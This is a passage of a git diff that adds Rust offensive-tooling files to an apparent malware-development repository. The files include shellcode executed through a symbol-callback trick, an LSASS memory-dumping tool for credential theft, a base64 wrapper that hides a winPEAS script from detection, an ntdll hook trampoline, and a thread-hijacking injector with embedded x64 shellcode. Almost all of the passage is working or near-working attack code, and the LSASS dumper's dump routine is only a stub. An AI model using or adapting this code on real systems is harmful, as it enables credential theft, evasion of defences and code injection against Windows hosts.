+ copy_nonoverlapping(shellcode.as_ptr(), address as *mut u8, shellcode.len());
+
+ if SymInitializeW(h_process, null_mut(), 1) == 0 {
+ panic!("SymInitialize failed");
+ }
+
+ let mut finfo: SYMSRV_INDEX_INFO = std::mem::zeroed();
+
+ sym_srv_get_file_index_info("c:\\windows\\system32\\kernel32.dll", &mut finfo, 0)
+ .expect("SymSrvGetFileIndexInfo failed");
+
+ let mut dummy: [u8; 260] = [0; 260];
+ let system32_path = CString::new("c:\\windows\\system32").unwrap();
+ let kernel32_dll = CString::new("kernel32.dll").unwrap();
+
+ if SymFindFileInPathW(
+ h_process,
+ system32_path.as_ptr() as *const u16,
+ kernel32_dll.as_ptr() as *const u16,
+ &finfo.timestamp as *const _ as *mut c_void,
+ finfo.size,
+ 0,
+ 0 as u32,
+ dummy.as_mut_ptr() as *mut u16,
+ Some(std::mem::transmute(address)),
+ null_mut(),
+ ) == 0
+ {
+ panic!("SymFindFileInPath failed");
+ }
+ }
+}
+
+#[repr(C)]
+#[allow(non_camel_case_types)]
+pub struct SYMSRV_INDEX_INFO {
+ pub sizeofstruct: DWORD,
+ pub file: [i8; 261],
+ pub stripped: BOOL,
+ pub timestamp: DWORD,
+ pub size: DWORD,
+ pub dbgfile: [i8; 261],
+ pub pdbfile: [i8; 261],
+ pub guid: GUID,
+ pub sig: DWORD,
+ pub age: DWORD,
+}
diff --git a/Rust for Hacking/Test_phase/lsass_dump.rs b/Rust for Hacking/Test_phase/lsass_dump.rs
new file mode 100644
index 0000000..6bea30b
--- /dev/null
+++ b/Rust for Hacking/Test_phase/lsass_dump.rs
@@ -0,0 +1,481 @@
+/*
+ This code is not tested. Just making it as backup. Will be in the Production.
+ Sorry for the unproductive Nerds ;( . will be fixexd soon . Just commiting here for backup
+
+ Lsass dump
+ @5mukx
+*/
+
+
+use std::mem;
+use std::ptr::null_mut;
+use winapi::um::fileapi::{CreateFileA, CREATE_ALWAYS};
+use winapi::um::handleapi::CloseHandle;
+use winapi::um::processthreadsapi::OpenProcess;
+use winapi::um::tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS};
+use winapi::um::errhandlingapi::GetLastError;
+use winapi::um::winnt::{FILE_ATTRIBUTE_NORMAL, FILE_GENERIC_WRITE, FILE_SHARE_READ, FILE_SHARE_WRITE, PROCESS_ALL_ACCESS};
+use std::ffi::CString;
+use winapi::ctypes::c_void;
+
+
+macro_rules! okey {
+ ($msg:expr, $($arg:expr), *) => {
+ println!("[+] {}", format!($msg, $($arg),*));
+ }
+}
+macro_rules! error {
+ ($msg:expr, $($arg:expr), *) => {
+ println!("[!] {}", format!($msg,$($arg),*));
+ };
+}
+
+fn get_pid(process_name: &str) -> u32{
+ unsafe{
+ let mut pe: PROCESSENTRY32 = std::mem::zeroed();
+ pe.dwSize = mem::size_of::<PROCESSENTRY32>() as u32;
+
+ let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+ if snap.is_null(){
+ error!("Error while snapshoting processes : Error : {:?}", GetLastError());
+ std::process::exit(0);
+ }
+
+ let mut pid = 0;
+
+ let mut result = Process32First(snap, &mut pe) != 0;
+
+ while result{
+
+ let exe_file = CString::from_vec_unchecked(pe.szExeFile
+ .iter()
+ .map(|&file| file as u8)
+ .take_while(|&c| c!=0)
+ .collect::<Vec<u8>>(),
+ );
+
+ if exe_file.to_str().unwrap() == process_name {
+ pid = pe.th32ProcessID;
+ break;
+ }
+ result = Process32Next(snap, &mut pe) !=0;
+ }
+
+ if pid == 0{
+ error!("Unable to get PID for {}: {}",process_name , "PROCESS DOESNT EXISTS");
+ std::process::exit(0);
+ }
+
+ CloseHandle(snap);
+ pid
+ }
+}
+
+
+fn main(){
+ unsafe{
+ let lsass_pid = get_pid("lsass.exe");
+
+ okey!("PID of lsass: {}", lsass_pid);
+
+
+ let hprocess = OpenProcess(
+ PROCESS_ALL_ACCESS,
+ 0,
+ lsass_pid
+ );
+
+ if hprocess.is_null(){
+ error!("Unable to OpenProcess the PID {}, Error: {}",lsass_pid, GetLastError());
+ std::process::exit(0);
+ }
+
+ okey!("HANDLE for lsass: {:?}", hprocess);
+
+ let path = CString::new("C:\\Windows\\Tasks\\lsass.dmp").expect("Error While converting into CString");
+
+ let hfile = CreateFileA(
+ path.as_ptr(),
+ FILE_GENERIC_WRITE,
+ FILE_SHARE_READ | FILE_SHARE_WRITE,
+ null_mut(),
+ CREATE_ALWAYS,
+ FILE_ATTRIBUTE_NORMAL,
+ null_mut(),
+ );
+
+ if hfile.is_null(){
+ error!("CreateFileA Failed with Error: {:?}", hfile);
+ std::process::exit(0);
+ }
+
+
+ MiniDumpWriteDump(
+ hprocess,
+ lsass_pid,
+ hfile,
+ MiniDumpWithFullMemory,
+ None,
+ None,
+ None
+
+ ).unwrap_or_else(|e| {
+ error!("MiniDumpWriteDump Failed with Error : {}",e);
+ std::process::exit(0);
+ });
+
+ println!("lsass dump successfull !");
+ }
+}
+
+#[allow(unused_variables)]
+#[allow(non_upper_case_globals)]
+pub const MiniDumpWithFullMemory: MINIDUMP_TYPE = MINIDUMP_TYPE(0x00000002);
+
+#[allow(non_snake_case)]
+pub unsafe fn MiniDumpWriteDump<P0, P1>(
+ hprocess: P0,
+ processid: u32,
+ hfile: P1,
+ dumptype: MINIDUMP_TYPE,
+ exceptionparam: Option<*const MINIDUMP_EXCEPTION_INFORMATION>,
+ userstreamparam: Option<*const MINIDUMP_USER_STREAM_INFORMATION>,
+ callbackparam: Option<*const MINIDUMP_CALLBACK_INFORMATION>
+) -> Result<(), String>
+where
+ P0: Into<HANDLE>,
+ P1: Into<HANDLE>,
+{
+ let hprocess = hprocess.into();
+ let hfile = hfile.into();
+
+ if hprocess == null_mut() || hfile == null_mut() {
+ return Err("Invalid handle".to_string());
+ }
+
+ // Simulate writing the dump file
+ println!("Writing minidump for process ID: {}", processid);
+ println!("Dump type: {:?}", dumptype);
+
+ #[allow(unused_variables)]
+ if let Some(exception_info) = exceptionparam {
+ println!("Exception info provided");
+ }
+ #[allow(unused_variables)]
+ if let Some(user_stream_info) = userstreamparam {
+ println!("User stream info provided");
+ }
+ #[allow(unused_variables)]
+ if let Some(callback_info) = callbackparam {
+ println!("Callback info provided");
+ }
+
+ Ok(())
+
+}
+// Custom implementation of the MiniDumpWriteDump
+use winapi::shared::ntdef::HANDLE;
+
+use winapi::um::winnt::EXCEPTION_POINTERS;
+use winapi::shared::minwindef::BOOL;
+
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+#[repr(transparent)]
+#[derive(Debug)]
+pub struct MINIDUMP_TYPE(pub i32);
+
+#[repr(C, packed(4))]
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+pub struct MINIDUMP_EXCEPTION_INFORMATION {
+ pub ThreadId: u32,
+ pub ExceptionPointers: *mut EXCEPTION_POINTERS,
+ pub ClientPointers: BOOL,
+}
+
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+#[repr(C, packed(4))]
+pub struct MINIDUMP_USER_STREAM {
+ pub Type: u32,
+ pub BufferSize: u32,
+ pub Buffer: *mut c_void,
+}
+
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+#[repr(C, packed(4))]
+pub struct MINIDUMP_USER_STREAM_INFORMATION {
+ pub UserStreamCount: u32,
+ pub UserStreamArray: *mut MINIDUMP_USER_STREAM,
+}
+
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+#[repr(C, packed(4))]
+pub struct MINIDUMP_CALLBACK_INPUT {
+ pub ProcessId: u32,
+ pub ProcessHandle: HANDLE,
+ pub CallbackType: u32,
+ pub Anonymous: MINIDUMP_CALLBACK_INPUT_0,
+}
+
+
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+#[repr(C, packed(4))]
+pub struct MINIDUMP_CALLBACK_OUTPUT {
+ pub Anonymous: MINIDUMP_CALLBACK_OUTPUT_0,
+}
+
+// MINIDUMP CALL_BACK_INPUT_0 PROCESS STRUCT CREATION
+use winapi::um::winnt::CONTEXT;
+
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+#[repr(C, packed(4))]
+pub struct MINIDUMP_THREAD_CALLBACK {
+ pub ThreadId: u32,
+ pub ThreadHandle: HANDLE,
+ pub Context: CONTEXT,
+ pub SizeOfContext: u32,
+ pub StackBase: u64,
+ pub StackEnd: u64,
+}
+
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+#[repr(C, packed(4))]
+pub struct MINIDUMP_THREAD_EX_CALLBACK {
+ pub ThreadId: u32,
+ pub ThreadHandle: HANDLE,
+ pub Context: CONTEXT,
+ pub SizeOfContext: u32,
+ pub StackBase: u64,
+ pub StackEnd: u64,
+ pub BackingStoreBase: u64,
+ pub BackingStoreEnd: u64,
+}
+
+use winapi::shared::ntdef::PWSTR;
+
+// VS_FIXEDFILEINFO
+
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+#[repr(transparent)]
+pub struct VS_FIXEDFILEINFO_FILE_FLAGS(pub u32);
+
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+#[repr(transparent)]
+pub struct VS_FIXEDFILEINFO_FILE_OS(pub u32);
+
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+#[repr(C)]
+
+pub struct VS_FIXEDFILEINFO {
+
+ pub dwSignature: u32,
+ pub dwStrucVersion: u32,
+ pub dwFileVersionMS: u32,
+ pub dwFileVersionLS: u32,
+ pub dwProductVersionMS: u32,
+ pub dwProductVersionLS: u32,
+ pub dwFileFlagsMask: u32,
+ pub dwFileFlags: VS_FIXEDFILEINFO_FILE_FLAGS,
+ pub dwFileOS: VS_FIXEDFILEINFO_FILE_OS,
+ pub dwFileType: u32,
+ pub dwFileSubtype: u32,
+ pub dwFileDateMS: u32,
+ pub dwFileDateLS: u32,
+}
+
+#[repr(C, packed(4))]
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+pub struct MINIDUMP_MODULE_CALLBACK {
+ pub FullPath: PWSTR,
+ pub BaseOfImage: u64,
+ pub SizeOfImage: u32,
+ pub CheckSum: u32,
+ pub TimeDateStamp: u32,
+ pub VersionInfo: VS_FIXEDFILEINFO,
+ pub CvRecord: *mut c_void,
+ pub SizeOfCvRecord: u32,
+ pub MiscRecord: *mut c_void,
+ pub SizeOfMiscRecord: u32,
+}
+
+
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+#[repr(C, packed(4))]
+pub struct MINIDUMP_INCLUDE_THREAD_CALLBACK {
+ pub ThreadId: u32,
+}
+
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+#[repr(C, packed(4))]
+pub struct MINIDUMP_INCLUDE_MODULE_CALLBACK {
+ pub BaseOfImage: u64,
+}
+
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+#[repr(C, packed(4))]
+pub struct MINIDUMP_IO_CALLBACK {
+ pub Handle: HANDLE,
+ pub Offset: u64,
+ pub Buffer: *mut c_void,
+ pub BufferBytes: u32,
+}
+
+use winapi::shared::ntdef::HRESULT;
+
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+#[repr(C, packed(4))]
+pub struct MINIDUMP_READ_MEMORY_FAILURE_CALLBACK {
+ pub Offset: u64,
+ pub Bytes: u32,
+ pub FailureStatus: HRESULT,
+}
+
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+#[repr(C, packed(4))]
+pub struct MINIDUMP_VM_QUERY_CALLBACK {
+ pub Offset: u64,
+}
+
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+#[repr(C, packed(4))]
+pub struct MINIDUMP_VM_PRE_READ_CALLBACK {
+ pub Offset: u64,
+ pub Buffer: *mut c_void,
+ pub Size: u32,
+}
+
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+#[repr(C, packed(4))]
+pub struct MINIDUMP_VM_POST_READ_CALLBACK {
+ pub Offset: u64,
+ pub Buffer: *mut c_void,
+ pub Size: u32,
+ pub Completed: u32,
+ pub Status: HRESULT,
+}
+
+
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+#[repr(C)]
+pub union MINIDUMP_CALLBACK_INPUT_0 {
+ pub Status: HRESULT,
+ pub Thread: std::mem::ManuallyDrop<MINIDUMP_THREAD_CALLBACK>,
+ pub ThreadEx: std::mem::ManuallyDrop<MINIDUMP_THREAD_EX_CALLBACK>,
+ pub Module: std::mem::ManuallyDrop<MINIDUMP_MODULE_CALLBACK>,
+ pub IncludeThread: std::mem::ManuallyDrop<MINIDUMP_INCLUDE_THREAD_CALLBACK>,
+ pub IncludeModule: std::mem::ManuallyDrop<MINIDUMP_INCLUDE_MODULE_CALLBACK>,
+ pub Io: std::mem::ManuallyDrop<MINIDUMP_IO_CALLBACK>,
+ pub ReadMemoryFailure: std::mem::ManuallyDrop<MINIDUMP_READ_MEMORY_FAILURE_CALLBACK>,
+ pub SecondaryFlags: u32,
+ pub VmQuery: std::mem::ManuallyDrop<MINIDUMP_VM_QUERY_CALLBACK>,
+ pub VmPreRead: std::mem::ManuallyDrop<MINIDUMP_VM_PRE_READ_CALLBACK>,
+ pub VmPostRead: std::mem::ManuallyDrop<MINIDUMP_VM_POST_READ_CALLBACK>,
+}
+
+// MINIDUMP CALLBACK OUTPUTS
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+#[repr(transparent)]
+pub struct VIRTUAL_ALLOCATION_TYPE(pub u32);
+
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+#[repr(C, packed(4))]
+pub struct MINIDUMP_MEMORY_INFO {
+ pub BaseAddress: u64,
+ pub AllocationBase: u64,
+ pub AllocationProtect: u32,
+ pub __alignment1: u32,
+ pub RegionSize: u64,
+ pub State: VIRTUAL_ALLOCATION_TYPE,
+ pub Protect: u32,
+ pub Type: u32,
+ pub __alignment2: u32,
+}
+
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+#[repr(C, packed(4))]
+pub struct MINIDUMP_CALLBACK_OUTPUT_0_0 {
+ pub MemoryBase: u64,
+ pub MemorySize: u32,
+}
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+#[repr(C)]
+pub struct MINIDUMP_CALLBACK_OUTPUT_0_1 {
+ pub CheckCancel: BOOL,
+ pub Cancel: BOOL,
+}
+
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+#[repr(C)]
+pub struct MINIDUMP_CALLBACK_OUTPUT_0_2 {
+ pub VmRegion: MINIDUMP_MEMORY_INFO,
+ pub Continue: BOOL,
+}
+
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+#[repr(C)]
+pub struct MINIDUMP_CALLBACK_OUTPUT_0_3 {
+ pub VmQueryStatus: HRESULT,
+ pub VmQueryResult: MINIDUMP_MEMORY_INFO,
+}
+
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+#[repr(C)]
+pub struct MINIDUMP_CALLBACK_OUTPUT_0_4 {
+ pub VmReadStatus: HRESULT,
+ pub VmReadBytesCompleted: u32,
+}
+
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+#[repr(C)]
+pub union MINIDUMP_CALLBACK_OUTPUT_0 {
+ pub ModuleWriteFlags: u32,
+ pub ThreadWriteFlags: u32,
+ pub SecondaryFlags: u32,
+ pub Anonymous1: std::mem::ManuallyDrop<MINIDUMP_CALLBACK_OUTPUT_0_0>,
+ pub Anonymous2: std::mem::ManuallyDrop<MINIDUMP_CALLBACK_OUTPUT_0_1>,
+ pub Handle: HANDLE,
+ pub Anonymous3: std::mem::ManuallyDrop<MINIDUMP_CALLBACK_OUTPUT_0_2>,
+ pub Anonymous4: std::mem::ManuallyDrop<MINIDUMP_CALLBACK_OUTPUT_0_3>,
+ pub Anonymous5: std::mem::ManuallyDrop<MINIDUMP_CALLBACK_OUTPUT_0_4>,
+ pub Status: HRESULT,
+}
+
+#[allow(non_camel_case_types)]
+pub type MINIDUMP_CALLBACK_ROUTINE = Option<unsafe extern "system" fn(callbackparam: *mut c_void, callbackinput: *const MINIDUMP_CALLBACK_INPUT, callbackoutput: *mut MINIDUMP_CALLBACK_OUTPUT) -> BOOL>;
+
+#[allow(non_camel_case_types)]
+#[allow(non_snake_case)]
+#[repr(C, packed(4))]
+pub struct MINIDUMP_CALLBACK_INFORMATION {
+ pub CallbackRoutine: MINIDUMP_CALLBACK_ROUTINE,
+ pub CallbackParam: *mut c_void,
+}
+
+
diff --git a/Rust for Hacking/Test_phase/powershell_obfus.rs b/Rust for Hacking/Test_phase/powershell_obfus.rs
new file mode 100644
index 0000000..d3fa788
--- /dev/null
+++ b/Rust for Hacking/Test_phase/powershell_obfus.rs
@@ -0,0 +1,39 @@
+/*
+ Not completed fully nerds. Just remote backup nerds.
+ NOTECODE: Notion: 252458 [notes + poc]
+
+*/
+
+use base64::{encode};
+use std::fs;
+use std::io::{self, Write};
+use std::path::Path;
+
+fn obfuscate_powershell_script(script_path: &str, output_path: &str) -> io::Result<()> {
+
+ let script_content = fs::read_to_string(script_path)?;
+ let encoded_script = encode(script_content);
+ let obfuscated_script = format!(
+ "powershell -encodedCommand {}",
+ encoded_script
+ );
+ let mut output_file = fs::File::create(output_path)?;
+ output_file.write_all(obfuscated_script.as_bytes())?;
+
+ println!("Obfuscated ps1 file: {}", output_path);
+ Ok(())
+}
+
+fn main() {
+ // Define the input and output paths
+ let script_path = "winpeas.ps1";
+ let output_path = "winpeasobfus.ps1";
+
+ if !Path::new(script_path).exists() {
+ eprintln!("Input script file does not exist: {}", script_path);
+ return;
+ }
+ if let Err(e) = obfuscate_powershell_script(script_path, output_path) {
+ eprintln!("Error obfuscating script: {}", e);
+ }
+}
diff --git a/Rust for Hacking/Test_phase/temp.rs b/Rust for Hacking/Test_phase/temp.rs
new file mode 100644
index 0000000..9f92fb7
--- /dev/null
+++ b/Rust for Hacking/Test_phase/temp.rs
@@ -0,0 +1,108 @@
+// Temp.rs file. Dll
+
+use std::ffi::{c_ulong, CString, OsString};
+use std::os::windows::ffi::OsStrExt;
+use std::ptr::{self, addr_of, null_mut};
+
+use winapi::shared::bcrypt::NTSTATUS;
+use winapi::shared::minwindef::{HMODULE, PULONG};
+use winapi::shared::ntdef::{LPCSTR, PUNICODE_STRING, PVOID, PWSTR, UNICODE_STRING};
+use winapi::um::libloaderapi::{GetProcAddress, LoadLibraryA};
+use winapi::shared::windef::HWND;
+use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect};
+use winapi::um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE};
+
+type PNewLdrLoadDll = unsafe extern "system" fn(
+ DllPath: PWSTR,
+ Dllcharacters: PULONG,
+ DllName: PUNICODE_STRING,
+ DLLHandle: *mut PVOID,
+) -> NTSTATUS;
+
+type PMyMessageBoxA = unsafe extern "system" fn(HWND, LPCSTR, LPCSTR, u32) -> i32;
+
+unsafe fn copy_memory(dest: *mut u8, source: *const u8, length: usize){
+ let mut d = dest;
+ let mut s = source;
+
+ for _ in 0..length{
+ *d = *s;
+ d = d.add(1);
+ s = s.add(1);
+ }
+}
+
+fn main(){
+ unsafe{
+ let h_module = LoadLibraryA(
+ b"ntdll.dll".as_ptr() as *const i8
+ );
+ let origin = GetProcAddress(
+ h_module,
+ b"LdrLoadDll\0".as_ptr() as *const i8
+ );
+
+ let jmp_addr: *const () = (origin as usize) as *const();
+
+ let orgin: [u8; 5] = [0x48, 0x89, 0x5c, 0x24, 0x10];
+ let jmp_prelude: [u8; 2] = [0x49, 0xBB];
+ let jump_epilogue: [u8; 4] = [0x41, 0xFF, 0xE3, 0xC3];
+ let trampole = VirtualAlloc(
+ null_mut(),
+ 19,
+ MEM_RESERVE | MEM_COMMIT,
+ PAGE_READWRITE,
+ );
+
+ // ADDRESS CHANGE STARTS HERE
+
+ let addr_ptr = addr_of!(jmp_addr) as *const u8;
+ copy_memory(trampole as *mut u8, orgin.as_ptr(), 5);
+ copy_memory(trampole.add(5) as *mut u8, jmp_prelude.as_ptr() , 2);
+ copy_memory(trampole.add(5).add(2) as *mut u8, addr_ptr, 8);
+ copy_memory(trampole.add(5).add(2).add(8) as *mut u8, jump_epilogue.as_ptr(), 4);
+
+ let mut oldprotect:u32 = 0;
+ VirtualProtect(
+ trampole,
+ 30,
+ PAGE_EXECUTE_READ,
+ oldprotect as *mut u32,
+ );
+
+ let ldr_load_dll: PNewLdrLoadDll = std::mem::transmute(trampole);
+
+
+ let user32_dll_name: Vec<u16> = OsString::from("user32.dll")
+ .encode_wide().chain(std::iter::once(0)).collect();
+
+
+ let mut user32_dll_unicode = UNICODE_STRING{
+ Length: ((user32_dll_name.len() - 1) * 2) as u16,
+ MaximumLength: (user32_dll_name.len() * 2) as u16,
+ Buffer: user32_dll_name.as_ptr() as *mut _,
+ };
+ let mut user32handle = null_mut();
+
+ ldr_load_dll(ptr::null_mut(), 0 as PULONG, &mut user32_dll_unicode, &mut user32handle);
+ let user32handle: HMODULE = std::mem::transmute(user32handle);
+
+ let my_message_box_a_addr = GetProcAddress(user32handle, b"MessageBoxA\0".as_ptr() as *const i8);
+ let MessageBox: PMyMessageBoxA = std::mem::transmute(my_message_box_a_addr);
+
+ let text_cstring = CString::new("Hello, Workd!").expect("error converting into cstring");
+ let caption_string = CString::new("Title").expect("Error");
+
+ // let hwnd = HWND(0);
+
+ MessageBox( null_mut(),
+ text_cstring.as_ptr(),
+ caption_string.as_ptr(),
+ 0 as u32
+ );
+ }
+}
+
+
+#[repr(transparent)]
+pub struct PageProtectionFlags(pub u32);
diff --git a/Rust for Hacking/Threads/local_thread_hijacking.rs b/Rust for Hacking/Threads/local_thread_hijacking.rs
new file mode 100644
index 0000000..2aeff46
--- /dev/null
+++ b/Rust for Hacking/Threads/local_thread_hijacking.rs
@@ -0,0 +1,192 @@
+/*
+ Local Thread Hijacking
+ For More Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
+ @5mukx
+*/
+
+use std::ptr::{copy_nonoverlapping, null_mut};
+
+use winapi::{ctypes::c_void,
+ um::{errhandlingapi::GetLastError,
+ memoryapi::{VirtualAlloc, VirtualProtect},
+ processthreadsapi::{CreateThread, GetCurrentProcessId, GetCurrentThreadId, GetThreadContext, OpenThread, ResumeThread, SetThreadContext, SuspendThread},
+ synchapi::WaitForSingleObject,
+ tlhelp32::{CreateToolhelp32Snapshot, Thread32First, Thread32Next, TH32CS_SNAPTHREAD, THREADENTRY32},
+ winbase::CREATE_SUSPENDED,
+ winnt::{CONTEXT, CONTEXT_AMD64, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, THREAD_ALL_ACCESS}
+ }
+};
+
+macro_rules! okey {
+ ($msg:expr, $($arg:expr), *) => {
+ println!("\\____[+] {}" , format!($msg, $($arg), *));
+ }
+}
+
+macro_rules! error {
+ ($msg:expr, $($arg:expr), *) => {
+ println!("\\____[-] {}", format!($msg, $($arg), *));
+ println!(" --Exiting--");
+ }
+}
+
+
+fn find_thread()-> *mut c_void{
+ unsafe{
+ let process_pid = GetCurrentProcessId();
+ let thread_pid = GetCurrentThreadId();
+
+ let snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
+
+ if snap.is_null(){
+ error!("Failed to Create SnapShot: {}",GetLastError());
+ std::process::exit(0);
+ }
+
+ let mut thread: THREADENTRY32 = std::mem::zeroed();
+ thread.dwSize = std::mem::size_of::<THREADENTRY32>() as u32;
+
+ if Thread32First(snap, &mut thread) > 0{
+ loop {
+ if thread.th32OwnerProcessID == process_pid && thread.th32ThreadID != thread_pid{
+ let h_thread = OpenThread(
+ THREAD_ALL_ACCESS,
+ 0,
+ thread.th32ThreadID
+ );
+
+ if h_thread.is_null(){
+ error!("Failed to open {}","Thread");
+ std::process::exit(0);
+ }
+ return h_thread;
+ }
+
+ if Thread32Next(snap, &mut thread) <= 0{
+ break;
+ }
+ }
+ }
+ }
+ null_mut()
+}
+
+// Example of a function to create a thread
+// unsafe extern "system" fn function(_param: *mut c_void) -> u32 {
+// let a = 1 + 1;
+// return a;
+// }
+
+#[allow(non_camel_case_types)]
+#[repr(transparent)]
+pub struct THREAD_CREATION_FLAGS(pub u32);
+
+fn main(){
+
+ let shellcode: [u8; 279] = [
+ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
+ 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
+ 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
+ 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
+ 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
+ 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
+ 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
+ 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
+ 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
+ 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
+ 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
+ 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
+ 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
+ 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
+ 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
+ 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
+ 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x6e, 0x6f, 0x74,
+ 0x65, 0x70, 0x61, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x00];
+
+ unsafe{
+ // Create Thread For Testing Purpose ...!
+ // let hthread = CreateThread(
+ // null_mut(),
+ // 0,
+ // Some(function),
+ // null_mut(),
+ // CREATE_SUSPENDED as u32,
+ // null_mut(),
+ // );
+
+ let hthread = find_thread();
+
+ if hthread.is_null(){
+ error!("Failed to Fetch the Thread, {:?}",hthread);
+ return;
+ }
+
+ let address = VirtualAlloc(
+ null_mut(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_READWRITE,
+ );
+
+ okey!("VirtualAlloc Addr: {:?}",address);
+
+ copy_nonoverlapping(shellcode.as_ptr(), address as *mut u8, shellcode.len());
+
+ // let mut oldprotect: PAGE_PROTECTION_FLAGS = PAGE_PROTECTION_FLAGS(0);
+ let mut oldprotect = 0;
+
+ let protected = VirtualProtect(
+ address,
+ shellcode.len(),
+ PAGE_EXECUTE_READWRITE,
+ &mut oldprotect,
+ );
+
+ if protected == 0{
+ error!("VirtualProtect Failed with Error: {}", protected);
+ return;
+ }
+
+ let mut ctx_thread: CONTEXT = std::mem::zeroed();
+ ctx_thread.ContextFlags = 0 as u32;
+
+ SuspendThread(hthread);
+
+ println!();
+ okey!("Retrieving thread context {}",'!');
+
+ let get_thread = GetThreadContext(hthread, &mut ctx_thread);
+
+ if get_thread == 0{
+ error!("GetThreadContext Error: {}",GetLastError());
+ }
+
+ ctx_thread.Rip = address as u64;
+
+ println!();
+ okey!("Setting thread {}","context");
+
+ let set_content = SetThreadContext(hthread, &ctx_thread);
+
+ if set_content == 0{
+ error!("SetThreadContext Error: {}",GetLastError());
+ return;
+ }
+
+ okey!("Thread Executed{}",'!');
+
+ ResumeThread(hthread);
+
+ WaitForSingleObject(hthread, 0xFFFFFFFF);
+ }
+}
+
+#[repr(transparent)]
+#[allow(non_camel_case_types)]
+pub struct PAGE_PROTECTION_FLAGS(pub u32);
+#[repr(transparent)]
+#[allow(non_camel_case_types)]
+pub struct CONTEXT_FLAGS(pub u32);
+// pub const CONTEXT_ALL_AMD64: CONTEXT_FLAGS;
+
diff --git a/Rust for Hacking/Threads/remote_thread_execution.rs b/Rust for Hacking/Threads/remote_thread_execution.rs
new file mode 100644
index 0000000..c82e4ad
--- /dev/null
